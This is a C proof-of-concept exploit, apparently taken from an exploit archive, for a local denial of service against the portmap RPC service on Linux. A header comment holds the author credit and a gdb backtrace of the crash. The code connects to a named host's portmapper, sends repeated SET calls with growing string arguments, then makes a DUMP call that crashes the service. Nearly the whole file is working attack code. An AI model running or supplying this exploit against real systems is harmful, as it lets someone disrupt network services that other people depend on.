106 lines
No EOL
3 KiB
C
106 lines
No EOL
3 KiB
C
/////////////////////////////////////
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// portmap Set+Dump Local DoS - PoC
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////////////////////////////////////
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//
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// Federico L. Bossi Bonin
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// fbossi[at]netcomm[dot]com[dot]ar
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////////////////////////////////////
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// Tested on Linux with version 5
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// USE DEBUGGING MODE
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/////////////////////
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// (gdb) backtrace
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// #0 0xffffe410 in __kernel_vsyscall ()
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// #1 0xb7f21343 in write () from /lib/tls/libc.so.6
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// #2 0xb7f524d5 in svcfd_create () from /lib/tls/libc.so.6
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// #3 0xb7f5467a in xdrrec_create () from /lib/tls/libc.so.6
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// #4 0xb7f546f4 in xdrrec_create () from /lib/tls/libc.so.6
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// #5 0xb7f5350d in xdr_u_long () from /lib/tls/libc.so.6
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// #6 0xb7f4f48c in xdr_pmap () from /lib/tls/libc.so.6
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// #7 0xb7f54e3b in xdr_reference () from /lib/tls/libc.so.6
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// #8 0xb7f4f565 in xdr_pmaplist () from /lib/tls/libc.so.6
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// #9 0xb7f50025 in xdr_accepted_reply () from /lib/tls/libc.so.6
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// #10 0xb7f53cc5 in xdr_union () from /lib/tls/libc.so.6
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// #11 0xb7f50171 in xdr_replymsg () from /lib/tls/libc.so.6
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// #12 0xb7f5266e in svcfd_create () from /lib/tls/libc.so.6
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// #13 0xb7f50ddc in svc_sendreply () from /lib/tls/libc.so.6
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// #14 0x0804984d in reg_service (rqstp=0xbfecab4c, xprt=0xbfec872c) at portmap.c:515
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// #15 0xb7f51345 in svc_getreq_common () from /lib/tls/libc.so.6
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// #16 0xb7f5111d in svc_getreq_poll () from /lib/tls/libc.so.6
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// #17 0xb7f51979 in svc_run () from /lib/tls/libc.so.6
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// #18 0x080492dd in main (argc=134542752, argv=0xbfecb0e0) at portmap.c:303
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#include <stdio.h>
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#include <rpc/rpc.h>
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#include <sys/socket.h>
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#include <sys/time.h>
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#include <netdb.h>
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#include <rpc/pmap_prot.h>
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int i;
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int len=600;
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char myhost[256];
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main(int argc, char *argv[]) {
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if (argc < 2) {
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printf("usage:%s <hostname>\n",argv[0]);
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exit(1);
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}
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if (argc >2) { len=atoi(argv[2]); }
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if (len > 1024) { len=1024; }
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unsigned long PROGRAM=100000;
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unsigned long VERSION=2;
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struct hostent *hp;
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struct sockaddr_in server_addr;
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int sock = RPC_ANYSOCK;
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register CLIENT *client;
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enum clnt_stat clnt_stat;
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struct timeval timeout;
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timeout.tv_sec = 40;
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timeout.tv_usec = 0;
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if ((hp = gethostbyname(argv[1])) == NULL) {
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printf("Can't resolve %s\n",argv[1]);
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exit(0);
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}
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gethostname(myhost,255);
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bcopy(hp->h_addr, (caddr_t)&server_addr.sin_addr,hp->h_length);
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server_addr.sin_family = AF_INET;
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server_addr.sin_port = 0;
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if ((client = clnttcp_create(&server_addr,PROGRAM,VERSION,&sock,1024,1024)) == NULL) {
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clnt_pcreateerror("clnttcp_create");
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exit(0);
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}
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client->cl_auth = authunix_create(myhost, 0, 0, 0, NULL);
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char *data = (char *) malloc(1024);
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memset(data,0x0,strlen(data));
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char *response = (char *) malloc(1024);
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memset(response,0x0,strlen(response));
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for (i = 0 ; i < len ; i++) {
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memcpy(data+strlen(data),"1",1);
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clnt_call(client,1,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout);
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}
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clnt_call(client,4,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout);
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clnt_destroy(client);
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close(sock);
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free(data);
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free(response);
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exit(0);
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}
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// milw0rm.com [2006-05-22]
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